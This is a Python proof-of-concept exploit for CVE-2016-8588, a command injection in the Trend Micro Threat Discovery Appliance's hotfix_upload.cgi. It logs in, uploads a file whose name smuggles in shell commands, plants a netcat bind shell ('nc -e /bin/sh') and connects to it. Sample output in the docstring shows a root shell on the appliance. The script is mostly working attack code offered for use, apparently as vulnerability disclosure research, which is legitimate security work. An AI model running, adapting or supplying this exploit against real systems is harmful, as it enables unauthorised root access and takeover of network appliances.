CVE-2016-8588 - Trend Micro Threat Discovery Appliance <= 2.6.1062r1 hotfix_upload.cgi Command Injection Remote Code Execution Vulnerability

poc.py

#!/usr/local/bin/python
"""
Trend Micro Threat Discovery Appliance <= 2.6.1062r1 hotfix_upload.cgi Remote Code Execution Vulnerability
Found by: Steven Seeley of Source Incite & Roberto Suggi Liverani - @malerisch - http://blog.malerisch.net/ 
File: TDA_InstallationCD.2.6.1062r1.en_US.iso
sha1: 8da4604c92a944ba8f7744641bce932df008f9f9
Download: http://downloadcenter.trendmicro.com/index.php?regs=NABU&clk=latest&clkval=1787&lang_loc=1

Summary:
========

There exists a post authenticated upload vulnerability that can be used to execute arbitrary code.

Notes:
======

- Since this is a busybox, getting a connectback seemed hard. So, for this particular PoC, all I did was 
take command, upload bd, exec, read, rinse, repeat.

- You maybe can get a binded netcat using '`nc -e /bin/sh -lp 1337`' but this at times broke the cgi and the rest of the 
log_query_system.cgi was unstable.

- Auth is bypassed, see the other case...

Example:
========

saturn:trend_micro_threat_discovery_hotfix_upload_rce mr_me$ ./poc.py 
(+) usage: ./poc.py <target> <pass>
(+) eg: ./poc.py 172.16.175.123 admin123
saturn:trend_micro_threat_discovery_hotfix_upload_rce mr_me$ ./poc.py 172.16.175.123 admin
(+) logged in...
(+) executing bd...
(+) sleeping for a sec...
(+) calling backdoor!
id
uid=0(root) gid=0(root)
uname -a
Linux localhost 2.6.24.4 #1 SMP Wed Oct 13 14:38:44 CST 2010 i686 unknown
pwd
/opt/TrendMicro/MinorityReport/www/cgi-bin
ls pwn
pwn
cat pwn
nc -e /bin/sh -lp 1234

"""

import re
import os
import sys
import time
import requests
import threading

requests.packages.urllib3.disable_warnings()

if len(sys.argv)!= 3:
    print "(+) usage: %s <target> <pass>" % sys.argv[0]
    print "(+) eg: %s 172.16.175.123 admin123" % sys.argv[0]
    sys.exit(-1)

t = sys.argv[1]
p = sys.argv[2]
bu = "https://%s/" % t
l_url = "%scgi-bin/logon.cgi" % bu
u_url = "%scgi-bin/hotfix_upload.cgi?sID=" % bu # you need the sid thingy

s = requests.Session()

def pwn(s):
    """
    This 'upload' will trigger the command 3 times... so if you exit the shell,
    you can come back another 2 times...
    """

    # sorry k0rpr1t_z0mb1e, this requires no oob request
    kungfu = "si;S=`echo $PATH|cut -c1`;echo 'nc -e '$S'bin'$S'sh -lp 1234'>pwn;chmod 755 pwn;.`echo $S`pwn"
    u = {
        'ajaxuploader_file': (kungfu, 'hax', 'text/plain'), 
    }
    r = s.post(u_url, files=u, verify=False)

# first we login...
r = s.post(l_url, data={ "passwd":p, "isCookieEnable":1 }, verify=False)
if "frame.cgi" in r.text:
    print "(+) logged in..."
    print "(+) executing bd..."
    ut = threading.Thread(target=pwn, args=(s,))
    ut.daemon = True
    ut.start()
    print "(+) sleeping for a sec..."
    time.sleep(1)
    print "(+) calling backdoor!"
    os.system("nc %s 1234" % t)
else:
    print "(-) login failed"
    sys.exit(-1)